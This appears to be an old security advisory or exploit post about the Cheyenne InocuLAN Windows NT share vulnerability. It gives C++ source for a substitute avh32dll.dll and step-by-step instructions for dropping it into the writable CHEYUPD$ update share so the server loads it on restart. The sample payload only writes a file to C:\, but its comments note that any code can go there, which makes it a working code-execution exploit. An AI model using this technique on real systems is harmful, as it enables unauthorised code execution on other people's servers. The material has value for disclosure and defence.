|
Cheyenne InocuLAN Windows NT Share Vulnerability
inoctroj.cpp: -------Cut here ----------- #include "stdio.h" long __stdcall DllMain (long, unsigned long, void*) { // Any code can goes here. This is an exemple // What it does is simply create a file on C: drive root directory // and writing "hello world !" inside of it FILE * demo; // create a file demo = fopen ( "C:\\I_can_write_a_file.txt", "w"); // write to the file char * buf = "hello world ! "; fwrite ( buf,1, 15, demo); fclose ( demo ); // This aborts the DLL loading. Anyway, we're done at that time ;)) return 0; } -------Cut here ----------- Compile and link to make the target avh32dll.dll. Write it to <NtBox>\CHEYUPD$\English\NtIntel\Ready\, touch <NtBox>\CHEYUPD$\English\NtIntel\Ready\filelist.txt to be newer that it currently is. Wait for the user to stop and restart the InnocuLAN server, or for them to reboot. |
|
Privacy Statement |